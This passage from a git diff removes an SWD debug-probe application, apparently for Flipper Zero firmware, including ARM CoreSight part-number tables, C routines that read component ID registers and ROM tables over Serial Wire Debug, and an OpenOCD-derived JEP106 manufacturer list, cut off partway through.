ARM_ID, - 0x492, - "Cortex-R52 GICD", - "(Distributor)", - }, - { - ARM_ID, - 0x493, - "Cortex-R52 GICR", - "(Redistributor)", - }, - { - ARM_ID, - 0x4a1, - "Cortex-A53 ROM", - "(v8 Memory Map ROM Table)", - }, - { - ARM_ID, - 0x4a2, - "Cortex-A57 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4a3, - "Cortex-A53 ROM", - "(v7 Memory Map ROM Table)", - }, - { - ARM_ID, - 0x4a4, - "Cortex-A72 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4a9, - "Cortex-A9 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4aa, - "Cortex-A35 ROM", - "(v8 Memory Map ROM Table)", - }, - { - ARM_ID, - 0x4af, - "Cortex-A15 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4b5, - "Cortex-R5 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4b8, - "Cortex-R52 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4c0, - "Cortex-M0+ ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4c3, - "Cortex-M3 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4c4, - "Cortex-M4 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4c7, - "Cortex-M7 PPB ROM", - "(Private Peripheral Bus ROM Table)", - }, - { - ARM_ID, - 0x4c8, - "Cortex-M7 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x4e0, - "Cortex-A35 ROM", - "(v7 Memory Map ROM Table)", - }, - { - ARM_ID, - 0x4e4, - "Cortex-A76 ROM", - "(ROM Table)", - }, - { - ARM_ID, - 0x906, - "CoreSight CTI", - "(Cross Trigger)", - }, - { - ARM_ID, - 0x907, - "CoreSight ETB", - "(Trace Buffer)", - }, - { - ARM_ID, - 0x908, - "CoreSight CSTF", - "(Trace Funnel)", - }, - { - ARM_ID, - 0x909, - "CoreSight ATBR", - "(Advanced Trace Bus Replicator)", - }, - { - ARM_ID, - 0x910, - "CoreSight ETM9", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x912, - "CoreSight TPIU", - "(Trace Port Interface Unit)", - }, - { - ARM_ID, - 0x913, - "CoreSight ITM", - "(Instrumentation Trace Macrocell)", - }, - { - ARM_ID, - 0x914, - "CoreSight SWO", - "(Single Wire Output)", - }, - { - ARM_ID, - 0x917, - "CoreSight HTM", - "(AHB Trace Macrocell)", - }, - { - ARM_ID, - 0x920, - "CoreSight ETM11", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x921, - "Cortex-A8 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x922, - "Cortex-A8 CTI", - "(Cross Trigger)", - }, - { - ARM_ID, - 0x923, - "Cortex-M3 TPIU", - "(Trace Port Interface Unit)", - }, - { - ARM_ID, - 0x924, - "Cortex-M3 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x925, - "Cortex-M4 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x930, - "Cortex-R4 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x931, - "Cortex-R5 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x932, - "CoreSight MTB-M0+", - "(Micro Trace Buffer)", - }, - { - ARM_ID, - 0x941, - "CoreSight TPIU-Lite", - "(Trace Port Interface Unit)", - }, - { - ARM_ID, - 0x950, - "Cortex-A9 PTM", - "(Program Trace Macrocell)", - }, - { - ARM_ID, - 0x955, - "Cortex-A5 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x95a, - "Cortex-A72 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x95b, - "Cortex-A17 PTM", - "(Program Trace Macrocell)", - }, - { - ARM_ID, - 0x95d, - "Cortex-A53 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x95e, - "Cortex-A57 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x95f, - "Cortex-A15 PTM", - "(Program Trace Macrocell)", - }, - { - ARM_ID, - 0x961, - "CoreSight TMC", - "(Trace Memory Controller)", - }, - { - ARM_ID, - 0x962, - "CoreSight STM", - "(System Trace Macrocell)", - }, - { - ARM_ID, - 0x975, - "Cortex-M7 ETM", - "(Embedded Trace)", - }, - { - ARM_ID, - 0x9a0, - "CoreSight PMU", - "(Performance Monitoring Unit)", - }, - { - ARM_ID, - 0x9a1, - "Cortex-M4 TPIU", - "(Trace Port Interface Unit)", - }, - { - ARM_ID, - 0x9a4, - "CoreSight GPR", - "(Granular Power Requester)", - }, - { - ARM_ID, - 0x9a5, - "Cortex-A5 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9a7, - "Cortex-A7 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9a8, - "Cortex-A53 CTI", - "(Cross Trigger)", - }, - { - ARM_ID, - 0x9a9, - "Cortex-M7 TPIU", - "(Trace Port Interface Unit)", - }, - { - ARM_ID, - 0x9ae, - "Cortex-A17 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9af, - "Cortex-A15 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9b6, - "Cortex-R52 PMU/CTI/ETM", - "(Performance Monitor Unit/Cross Trigger/ETM)", - }, - { - ARM_ID, - 0x9b7, - "Cortex-R7 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9d3, - "Cortex-A53 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9d7, - "Cortex-A57 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9d8, - "Cortex-A72 PMU", - "(Performance Monitor Unit)", - }, - { - ARM_ID, - 0x9da, - "Cortex-A35 PMU/CTI/ETM", - "(Performance Monitor Unit/Cross Trigger/ETM)", - }, - { - ARM_ID, - 0x9e2, - "SoC-600 APB-AP", - "(APB4 Memory Access Port)", - }, - { - ARM_ID, - 0x9e3, - "SoC-600 AHB-AP", - "(AHB5 Memory Access Port)", - }, - { - ARM_ID, - 0x9e4, - "SoC-600 AXI-AP", - "(AXI Memory Access Port)", - }, - { - ARM_ID, - 0x9e5, - "SoC-600 APv1 Adapter", - "(Access Port v1 Adapter)", - }, - { - ARM_ID, - 0x9e6, - "SoC-600 JTAG-AP", - "(JTAG Access Port)", - }, - { - ARM_ID, - 0x9e7, - "SoC-600 TPIU", - "(Trace Port Interface Unit)", - }, - { - ARM_ID, - 0x9e8, - "SoC-600 TMC ETR/ETS", - "(Embedded Trace Router/Streamer)", - }, - { - ARM_ID, - 0x9e9, - "SoC-600 TMC ETB", - "(Embedded Trace Buffer)", - }, - { - ARM_ID, - 0x9ea, - "SoC-600 TMC ETF", - "(Embedded Trace FIFO)", - }, - { - ARM_ID, - 0x9eb, - "SoC-600 ATB Funnel", - "(Trace Funnel)", - }, - { - ARM_ID, - 0x9ec, - "SoC-600 ATB Replicator", - "(Trace Replicator)", - }, - { - ARM_ID, - 0x9ed, - "SoC-600 CTI", - "(Cross Trigger)", - }, - { - ARM_ID, - 0x9ee, - "SoC-600 CATU", - "(Address Translation Unit)", - }, - { - ARM_ID, - 0xc05, - "Cortex-A5 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc07, - "Cortex-A7 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc08, - "Cortex-A8 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc09, - "Cortex-A9 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc0e, - "Cortex-A17 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc0f, - "Cortex-A15 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc14, - "Cortex-R4 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc15, - "Cortex-R5 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xc17, - "Cortex-R7 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd03, - "Cortex-A53 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd04, - "Cortex-A35 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd07, - "Cortex-A57 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd08, - "Cortex-A72 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd0b, - "Cortex-A76 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd0c, - "Neoverse N1", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd13, - "Cortex-R52 Debug", - "(Debug Unit)", - }, - { - ARM_ID, - 0xd49, - "Neoverse N2", - "(Debug Unit)", - }, - { - 0x017, - 0x120, - "TI SDTI", - "(System Debug Trace Interface)", - }, /* from OMAP3 memmap */ - { - 0x017, - 0x343, - "TI DAPCTL", - "", - }, /* from OMAP3 memmap */ - {0x017, 0x9af, "MSP432 ROM", "(ROM Table)"}, - {0x01f, 0xcd0, "Atmel CPU with DSU", "(CPU)"}, - {0x041, 0x1db, "XMC4500 ROM", "(ROM Table)"}, - {0x041, 0x1df, "XMC4700/4800 ROM", "(ROM Table)"}, - {0x041, 0x1ed, "XMC1000 ROM", "(ROM Table)"}, - { - 0x065, - 0x000, - "SHARC+/Blackfin+", - "", - }, - { - 0x070, - 0x440, - "Qualcomm QDSS Component v1", - "(Qualcomm Designed CoreSight Component v1)", - }, - { - 0x0bf, - 0x100, - "Brahma-B53 Debug", - "(Debug Unit)", - }, - { - 0x0bf, - 0x9d3, - "Brahma-B53 PMU", - "(Performance Monitor Unit)", - }, - { - 0x0bf, - 0x4a1, - "Brahma-B53 ROM", - "(ROM Table)", - }, - { - 0x0bf, - 0x721, - "Brahma-B53 ROM", - "(ROM Table)", - }, - { - 0x1eb, - 0x181, - "Tegra 186 ROM", - "(ROM Table)", - }, - { - 0x1eb, - 0x202, - "Denver ETM", - "(Denver Embedded Trace)", - }, - { - 0x1eb, - 0x211, - "Tegra 210 ROM", - "(ROM Table)", - }, - { - 0x1eb, - 0x302, - "Denver Debug", - "(Debug Unit)", - }, - { - 0x1eb, - 0x402, - "Denver PMU", - "(Performance Monitor Unit)", - }, - {0x20, 0x410, "STM32F10 (med)", "(ROM Table)"}, - {0x20, 0x411, "STM32F2", "(ROM Table)"}, - {0x20, 0x412, "STM32F10 (low)", "(ROM Table)"}, - {0x20, 0x413, "STM32F40/41", "(ROM Table)"}, - {0x20, 0x414, "STM32F10 (high)", "(ROM Table)"}, - {0x20, 0x415, "STM32L47/48", "(ROM Table)"}, - {0x20, 0x416, "STM32L1xxx6/8/B", "(ROM Table)"}, - {0x20, 0x417, "STM32L05/06", "(ROM Table)"}, - {0x20, 0x418, "STM32F105xx/107", "(ROM Table)"}, - {0x20, 0x419, "STM32F42/43", "(ROM Table)"}, - {0x20, 0x420, "STM32F10 (med)", "(ROM Table)"}, - {0x20, 0x421, "STM32F446xx", "(ROM Table)"}, - {0x20, 0x422, "STM32FF358/02/03", "(ROM Table)"}, - {0x20, 0x423, "STM32F401xB/C", "(ROM Table)"}, - {0x20, 0x425, "STM32L031/41", "(ROM Table)"}, - {0x20, 0x427, "STM32L1xxxC", "(ROM Table)"}, - {0x20, 0x428, "STM32F10 (high)", "(ROM Table)"}, - {0x20, 0x429, "STM32L1xxx6A/8A/BA", "(ROM Table)"}, - {0x20, 0x430, "STM32F10 (xl)", "(ROM Table)"}, - {0x20, 0x431, "STM32F411xx", "(ROM Table)"}, - {0x20, 0x432, "STM32F373/8", "(ROM Table)"}, - {0x20, 0x433, "STM32F401xD/E", "(ROM Table)"}, - {0x20, 0x434, "STM32F469/79", "(ROM Table)"}, - {0x20, 0x435, "STM32L43/44", "(ROM Table)"}, - {0x20, 0x436, "STM32L1xxxD", "(ROM Table)"}, - {0x20, 0x437, "STM32L1xxxE", "(ROM Table)"}, - {0x20, 0x438, "STM32F303/34/28", "(ROM Table)"}, - {0x20, 0x439, "STM32F301/02/18 ", "(ROM Table)"}, - {0x20, 0x440, "STM32F03/5", "(ROM Table)"}, - {0x20, 0x441, "STM32F412xx", "(ROM Table)"}, - {0x20, 0x442, "STM32F03/9", "(ROM Table)"}, - {0x20, 0x444, "STM32F03xx4", "(ROM Table)"}, - {0x20, 0x445, "STM32F04/7", "(ROM Table)"}, - {0x20, 0x446, "STM32F302/03/98", "(ROM Table)"}, - {0x20, 0x447, "STM32L07/08", "(ROM Table)"}, - {0x20, 0x448, "STM32F070/1/2", "(ROM Table)"}, - {0x20, 0x449, "STM32F74/5", "(ROM Table)"}, - {0x20, 0x450, "STM32H74/5", "(ROM Table)"}, - {0x20, 0x451, "STM32F76/7", "(ROM Table)"}, - {0x20, 0x452, "STM32F72/3", "(ROM Table)"}, - {0x20, 0x457, "STM32L01/2", "(ROM Table)"}, - {0x20, 0x458, "STM32F410xx", "(ROM Table)"}, - {0x20, 0x460, "STM32G07/8", "(ROM Table)"}, - {0x20, 0x461, "STM32L496/A6", "(ROM Table)"}, - {0x20, 0x462, "STM32L45/46", "(ROM Table)"}, - {0x20, 0x463, "STM32F413/23", "(ROM Table)"}, - {0x20, 0x464, "STM32L412/22", "(ROM Table)"}, - {0x20, 0x466, "STM32G03/04", "(ROM Table)"}, - {0x20, 0x468, "STM32G431/41", "(ROM Table)"}, - {0x20, 0x469, "STM32G47/48", "(ROM Table)"}, - {0x20, 0x470, "STM32L4R/S", "(ROM Table)"}, - {0x20, 0x471, "STM32L4P5/Q5", "(ROM Table)"}, - {0x20, 0x479, "STM32G491xx", "(ROM Table)"}, - {0x20, 0x480, "STM32H7A/B", "(ROM Table)"}, - {0x20, 0x495, "STM32WB50/55", "(ROM Table)"}, - {0x20, 0x497, "STM32WLE5xx", "(ROM Table)"}}; - -const char* adi_devarch_desc(uint32_t devarch) { - if(!(devarch & ARM_CS_C9_DEVARCH_PRESENT)) { - return "not present"; - } - - for(unsigned int i = 0; i < ARRAY_SIZE(class0x9_devarch); i++) { - if((devarch & DEVARCH_ID_MASK) == class0x9_devarch[i].arch_id) { - return class0x9_devarch[i].description; - } - } - - return "unknown"; -} - -const struct dap_part_nums* adi_part_num(unsigned int des, unsigned int part) { - static char buf[32]; - static struct dap_part_nums unknown = { - .type = "Unrecognized", - .full = "", - }; - - for(unsigned int i = 0; i < ARRAY_SIZE(dap_part_nums); i++) { - if(dap_part_nums[i].designer_id == des && dap_part_nums[i].part_num == part) { - return &dap_part_nums[i]; - } - } - - snprintf(buf, sizeof(buf), "D:%x P:%x", des, part); - unknown.full = buf; - - return &unknown; -} - -bool adi_get_pidr(AppFSM* const ctx, uint32_t base, pidr_data_t* data) { - uint32_t pidrs[7]; - uint32_t offsets[] = {0xFE0, 0xFE4, 0xFE8, 0xFEC, 0xFD0, 0xFD4, 0xFD8, 0xFDC}; - - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - for(size_t pos = 0; pos < COUNT(pidrs); pos++) { - uint8_t ret = swd_read_memory(ctx, ctx->ap_pos, base + offsets[pos], &pidrs[pos]); - if(ret != 1) { - DBGS("Read failed"); - furi_mutex_release(ctx->swd_mutex); - return false; - } - } - furi_mutex_release(ctx->swd_mutex); - - data->designer = ((pidrs[4] & 0x0F) << 7) | ((pidrs[2] & 0x07) << 4) | - ((pidrs[1] >> 4) & 0x0F); - data->part = (pidrs[0] & 0xFF) | ((pidrs[1] & 0x0F) << 8); - data->revand = ((pidrs[3] >> 4) & 0x0F); - data->cmod = (pidrs[3] & 0x0F); - data->revision = ((pidrs[2] >> 4) & 0x0F); - data->size = ((pidrs[2] >> 4) & 0x0F); - - return true; -} - -bool adi_get_class(AppFSM* const ctx, uint32_t base, uint8_t* class) { - uint32_t cidrs[4]; - uint32_t offsets[] = {0xFF0, 0xFF4, 0xFF8, 0xFFC}; - - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - for(size_t pos = 0; pos < COUNT(cidrs); pos++) { - uint8_t ret = swd_read_memory(ctx, ctx->ap_pos, base + offsets[pos], &cidrs[pos]); - if(ret != 1) { - DBGS("Read failed"); - furi_mutex_release(ctx->swd_mutex); - return false; - } - } - furi_mutex_release(ctx->swd_mutex); - - if((cidrs[0] & 0xFF) != 0x0D) { - return false; - } - if((cidrs[1] & 0x0F) != 0x00) { - return false; - } - if((cidrs[2] & 0xFF) != 0x05) { - return false; - } - if((cidrs[3] & 0xFF) != 0xB1) { - return false; - } - - *class = ((cidrs[1] >> 4) & 0x0F); - - return true; -} - -const char* adi_romtable_type(AppFSM* const ctx, uint32_t base) { - pidr_data_t data; - - if(!adi_get_pidr(ctx, base, &data)) { - return "fail"; - } - const struct dap_part_nums* info = adi_part_num(data.designer, data.part); - - return info->type; -} - -const char* adi_romtable_full(AppFSM* const ctx, uint32_t base) { - pidr_data_t data; - - if(!adi_get_pidr(ctx, base, &data)) { - return "fail"; - } - const struct dap_part_nums* info = adi_part_num(data.designer, data.part); - - return info->full; -} - -uint32_t adi_romtable_entry_count(AppFSM* const ctx, uint32_t base) { - uint32_t count = 0; - uint32_t entry = 0; - - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - for(size_t pos = 0; pos < 960; pos++) { - uint8_t ret = 0; - for(int tries = 0; tries < 10 && ret != 1; tries++) { - ret = swd_read_memory(ctx, ctx->ap_pos, base + pos * 4, &entry); - } - if(ret != 1) { - DBGS("Read failed"); - break; - } - if(!(entry & 1)) { - break; - } - if(entry & 0x00000FFC) { - break; - } - count++; - } - furi_mutex_release(ctx->swd_mutex); - return count; -} - -uint32_t adi_romtable_get(AppFSM* const ctx, uint32_t base, uint32_t pos) { - uint32_t entry = 0; - - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - uint8_t ret = swd_read_memory(ctx, ctx->ap_pos, base + pos * 4, &entry); - if(ret != 1) { - DBGS("Read failed"); - furi_mutex_release(ctx->swd_mutex); - return 0; - } - furi_mutex_release(ctx->swd_mutex); - - return base + (entry & 0xFFFFF000); -} - -bool adi_is_romtable(AppFSM* const ctx, uint32_t base) { - uint8_t class = 0; - - if(!adi_get_class(ctx, base, &class)) { - return false; - } - - if(class != CIDR_CLASS_ROMTABLE) { - return false; - } - - return true; -} diff --git a/applications/external/swd_probe/adi.h b/applications/external/swd_probe/adi.h deleted file mode 100644 index bade7736a..000000000 --- a/applications/external/swd_probe/adi.h +++ /dev/null @@ -1,34 +0,0 @@ - -#ifndef __ADI_H__ -#define __ADI_H__ - -#include "swd_probe_app.h" - -#define ARM_ID 0x23B - -#define ARCH_ID(architect, archid) ((architect) << 21) | (archid) - -#define BIT(nr) (1UL << (nr)) -#define ARM_CS_C9_DEVARCH_PRESENT BIT(20) -#define ARM_CS_C9_DEVARCH_ARCHITECT_MASK (0xFFE00000) -#define ARM_CS_C9_DEVARCH_ARCHID_MASK (0x0000FFFF) -#define DEVARCH_ID_MASK (ARM_CS_C9_DEVARCH_ARCHITECT_MASK | ARM_CS_C9_DEVARCH_ARCHID_MASK) - -typedef struct { - uint16_t designer; - uint16_t part; - uint8_t revision; - uint8_t cmod; - uint8_t revand; - uint8_t size; -} pidr_data_t; - -typedef enum { CIDR_CLASS_ROMTABLE = 0x01, CIDR_CLASS_CORESIGHT = 0x09 } cidr_classes_t; - -uint32_t adi_romtable_entry_count(AppFSM* const ctx, uint32_t base); -uint32_t adi_romtable_get(AppFSM* const ctx, uint32_t base, uint32_t pos); -bool adi_is_romtable(AppFSM* const ctx, uint32_t base); -const char* adi_romtable_type(AppFSM* const ctx, uint32_t base); -const char* adi_romtable_full(AppFSM* const ctx, uint32_t base); - -#endif diff --git a/applications/external/swd_probe/application.fam b/applications/external/swd_probe/application.fam deleted file mode 100644 index 4e29f9b1e..000000000 --- a/applications/external/swd_probe/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="swd_probe", - name="SWD Probe", - apptype=FlipperAppType.EXTERNAL, - entry_point="swd_probe_app_main", - requires=["notification", "gui", "storage", "dialogs", "cli"], - stack_size=2 * 1024, - order=10, - fap_icon="icons/app.png", - fap_category="GPIO", - fap_icon_assets="icons", - fap_author="@g3gg0 & (fixes by @xMasterX)", - fap_version="1.0", - fap_description="ARM SWD (Single Wire Debug) Probe", -) diff --git a/applications/external/swd_probe/icons/ButtonDown_7x4.png b/applications/external/swd_probe/icons/ButtonDown_7x4.png deleted file mode 100644 index 2954bb6a6..000000000 Binary files a/applications/external/swd_probe/icons/ButtonDown_7x4.png and /dev/null differ diff --git a/applications/external/swd_probe/icons/ButtonUp_7x4.png b/applications/external/swd_probe/icons/ButtonUp_7x4.png deleted file mode 100644 index 1be79328b..000000000 Binary files a/applications/external/swd_probe/icons/ButtonUp_7x4.png and /dev/null differ diff --git a/applications/external/swd_probe/icons/app.png b/applications/external/swd_probe/icons/app.png deleted file mode 100644 index 6949ce78d..000000000 Binary files a/applications/external/swd_probe/icons/app.png and /dev/null differ diff --git a/applications/external/swd_probe/icons/swd.png b/applications/external/swd_probe/icons/swd.png deleted file mode 100644 index c8cb5831b..000000000 Binary files a/applications/external/swd_probe/icons/swd.png and /dev/null differ diff --git a/applications/external/swd_probe/jep106.c b/applications/external/swd_probe/jep106.c deleted file mode 100644 index 65df94dba..000000000 --- a/applications/external/swd_probe/jep106.c +++ /dev/null @@ -1,26 +0,0 @@ -/* https://github.com/openocd-org/openocd/blob/master/src/helper/ */ -// SPDX-License-Identifier: GPL-2.0-or-later - -/*************************************************************************** - * Copyright (C) 2015 Andreas Fritiofson * - * andreas.fritiofson@gmail.com * - ***************************************************************************/ - -#include "jep106.h" - -static const char* const jep106[][126] = { -#include "jep106.inc" -}; - -const char* jep106_table_manufacturer(unsigned int bank, unsigned int id) { - if(id < 1 || id > 126) { - return ""; - } - - /* index is zero based */ - id--; - - if(bank >= 14 || jep106[bank][id] == 0) return ""; - - return jep106[bank][id]; -} diff --git a/applications/external/swd_probe/jep106.h b/applications/external/swd_probe/jep106.h deleted file mode 100644 index 17c87feaa..000000000 --- a/applications/external/swd_probe/jep106.h +++ /dev/null @@ -1,26 +0,0 @@ -/* https://github.com/openocd-org/openocd/blob/master/src/helper/ */ -/* SPDX-License-Identifier: GPL-2.0-or-later */ - -/*************************************************************************** - * Copyright (C) 2015 Andreas Fritiofson * - * andreas.fritiofson@gmail.com * - ***************************************************************************/ - -#ifndef OPENOCD_HELPER_JEP106_H -#define OPENOCD_HELPER_JEP106_H - -/** - * Get the manufacturer name associated with a JEP106 ID. - * @param bank The bank (number of continuation codes) of the manufacturer ID. - * @param id The 7-bit manufacturer ID (i.e. with parity stripped). - * @return A pointer to static const storage containing the name of the - * manufacturer associated with bank and id, or one of the strings - * "" and "". - */ -const char* jep106_table_manufacturer(unsigned int bank, unsigned int id); - -static inline const char* jep106_manufacturer(unsigned int manufacturer) { - return jep106_table_manufacturer(manufacturer >> 7, manufacturer & 0x7f); -} - -#endif /* OPENOCD_HELPER_JEP106_H */ diff --git a/applications/external/swd_probe/jep106.inc b/applications/external/swd_probe/jep106.inc deleted file mode 100644 index 3adc131be..000000000 --- a/applications/external/swd_probe/jep106.inc +++ /dev/null @@ -1,1791 +0,0 @@ -/* https://github.com/openocd-org/openocd/blob/master/src/helper/ */ - -/* SPDX-License-Identifier: GPL-2.0-or-later */ - -/* - * The manufacturer's standard identification code list appears in JEP106. - * Copyright (c) 2022 JEDEC. All rights reserved. - * - * JEP106 is regularly updated. For the current manufacturer's standard - * identification code list, please visit the JEDEC website at www.jedec.org . - */ - -/* This file is aligned to revision JEP106BF.01 October 2022. */ - -[0][0x01 - 1] = "AMD", -[0][0x02 - 1] = "AMI", -[0][0x03 - 1] = "Fairchild", -[0][0x04 - 1] = "Fujitsu", -[0][0x05 - 1] = "GTE", -[0][0x06 - 1] = "Harris", -[0][0x07 - 1] = "Hitachi", -[0][0x08 - 1] = "Inmos", -[0][0x09 - 1] = "Intel", -[0][0x0a - 1] = "I.T.T.", -[0][0x0b - 1] = "Intersil", -[0][0x0c - 1] = "Monolithic Memories", -[0][0x0d - 1] = "Mostek", -[0][0x0e - 1] = "Freescale (Motorola)", -[0][0x0f - 1] = "National", -[0][0x10 - 1] = "NEC", -[0][0x11 - 1] = "RCA", -[0][0x12 - 1] = "Raytheon", -[0][0x13 - 1] = "Conexant (Rockwell)", -[0][0x14 - 1] = "Seeq", -[0][0x15 - 1] = "NXP (Philips)", -[0][0x16 - 1] = "Synertek", -[0][0x17 - 1] = "Texas Instruments", -[0][0x18 - 1] = "Kioxia Corporation", -[0][0x19 - 1] = "Xicor", -[0][0x1a - 1] = "Zilog", -[0][0x1b - 1] = "Eurotechnique", -[0][0x1c - 1] = "Mitsubishi", -[0][0x1d - 1] = "Lucent (AT&T)", -[0][0x1e - 1] = "Exel", -[0][0x1f - 1] = "Atmel", -[0][0x20 - 1] = "STMicroelectronics", -[0][0x21 - 1] = "Lattice Semi.", -[0][0x22 - 1] = "NCR", -[0][0x23 - 1] = "Wafer Scale Integration", -[0][0x24 - 1] = "IBM", -[0][0x25 - 1] = "Tristar", -[0][0x26 - 1] = "Visic", -[0][0x27 - 1] = "Intl. CMOS Technology", -[0][0x28 - 1] = "SSSI", -[0][0x29 - 1] = "Microchip Technology", -[0][0x2a - 1] = "Ricoh Ltd", -[0][0x2b - 1] = "VLSI", -[0][0x2c - 1] = "Micron Technology", -[0][0x2d - 1] = "SK Hynix", -[0][0x2e - 1] = "OKI Semiconductor", -[0][0x2f - 1] = "ACTEL", -[0][0x30 - 1] = "Sharp", -[0][0x31 - 1] = "Catalyst", -[0][0x32 - 1] = "Panasonic", -[0][0x33 - 1] = "IDT", -[0][0x34 - 1] = "Cypress", -[0][0x35 - 1] = "DEC", -[0][0x36 - 1] = "LSI Logic", -[0][0x37 - 1] = "Zarlink (Plessey)", -[0][0x38 - 1] = "UTMC", -[0][0x39 - 1] = "Thinking Machine", -[0][0x3a - 1] = "Thomson CSF", -[0][0x3b - 1] = "Integrated CMOS (Vertex)", -[0][0x3c - 1] = "Honeywell", -[0][0x3d - 1] = "Tektronix", -[0][0x3e - 1] = "Oracle Corporation", -[0][0x3f - 1] = "Silicon Storage Technology", -[0][0x40 - 1] = "ProMos/Mosel Vitelic", -[0][0x41 - 1] = "Infineon (Siemens)", -[0][0x42 - 1] = "Macronix", -[0][0x43 - 1] = "Xerox", -[0][0x44 - 1] = "Plus Logic", -[0][0x45 - 1] = "Western Digital Technologies Inc", -[0][0x46 - 1] = "Elan Circuit Tech.", -[0][0x47 - 1] = "European Silicon Str.", -[0][0x48 - 1] = "Apple Computer", -[0][0x49 - 1] = "Xilinx", -[0][0x4a - 1] = "Compaq", -[0][0x4b - 1] = "Protocol Engines", -[0][0x4c - 1] = "SCI", -[0][0x4d - 1] = "Seiko Instruments", -[0][0x4e - 1] = "Samsung", -[0][0x4f - 1] = "I3 Design System", -[0][0x50 - 1] = "Klic", -[0][0x51 - 1] = "Crosspoint Solutions", -[0][0x52 - 1] = "Alliance Memory Inc", -[0][0x53 - 1] = "Tandem", -[0][0x54 - 1] = "Hewlett-Packard", -[0][0x55 - 1] = "Integrated Silicon Solutions", -[0][0x56 - 1] = "Brooktree", -[0][0x57 - 1] = "New Media", -[0][0x58 - 1] = "MHS Electronic", -[0][0x59 - 1] = "Performance Semi.", -[0][0x5a - 1] = "Winbond Electronic", -[0][0x5b - 1] = "Kawasaki Steel", -[0][0x5c - 1] = "Bright Micro", -[0][0x5d - 1] = "TECMAR", -[0][0x5e - 1] = "Exar", -[0][0x5f - 1] = "PCMCIA", -[0][0x60 - 1] = "LG Semi (Goldstar)", -[0][0x61 - 1] = "Northern Telecom", -[0][0x62 - 1] = "Sanyo", -[0][0x63 - 1] = "Array Microsystems", -[0][0x64 - 1] = "Crystal Semiconductor", -[0][0x65 - 1] = "Analog Devices", -[0][0x66 - 1] = "PMC-Sierra", -[0][0x67 - 1] = "Asparix", -[0][0x68 - 1] = "Convex Computer", -[0][0x69 - 1] = "Quality Semiconductor", -[0][0x6a - 1] = "Nimbus Technology", -[0][0x6b - 1] = "Transwitch", -[0][0x6c - 1] = "Micronas (ITT Intermetall)", -[0][0x6d - 1] = "Cannon", -[0][0x6e - 1] = "Altera", -[0][0x6f - 1] = "NEXCOM", -[0][0x70 - 1] = "Qualcomm", -[0][0x71 - 1] = "Sony", -[0][0x72 - 1] = "Cray Research", -[0][0x73 - 1] = "AMS(Austria Micro)", -[0][0x74 - 1] = "Vitesse", -[0][0x75 - 1] = "Aster Electronics", -[0][0x76 - 1] = "Bay Networks (Synoptic)", -[0][0x77 - 1] = "Zentrum/ZMD", -[0][0x78 - 1] = "TRW", -[0][0x79 - 1] = "Thesys", -[0][0x7a - 1] = "Solbourne Computer", -[0][0x7b - 1] = "Allied-Signal", -[0][0x7c - 1] = "Dialog Semiconductor", -[0][0x7d - 1] = "Media Vision", -[0][0x7e - 1] = "Numonyx Corporation", -[1][0x01 - 1] = "Cirrus Logic", -[1][0x02 - 1] = "National Instruments", -[1][0x03 - 1] = "ILC Data Device", -[1][0x04 - 1] = "Alcatel Mietec", -[1][0x05 - 1] = "Micro Linear", -[1][0x06 - 1] = "Univ. of NC", -[1][0x07 - 1] = "JTAG Technologies", -[1][0x08 - 1] = "BAE Systems (Loral)", -[1][0x09 - 1] = "Nchip", -[1][0x0a - 1] = "Galileo Tech", -[1][0x0b - 1] = "Bestlink Systems", -[1][0x0c - 1] = "Graychip", -[1][0x0d - 1] = "GENNUM", -[1][0x0e - 1] = "Imagination Technologies Limited", -[1][0x0f - 1] = "Robert Bosch", -[1][0x10 - 1] = "Chip Express", -[1][0x11 - 1] = "DATARAM", -[1][0x12 - 1] = "United Microelectronics Corp", -[1][0x13 - 1] = "TCSI", -[1][0x14 - 1] = "Smart Modular", -[1][0x15 - 1] = 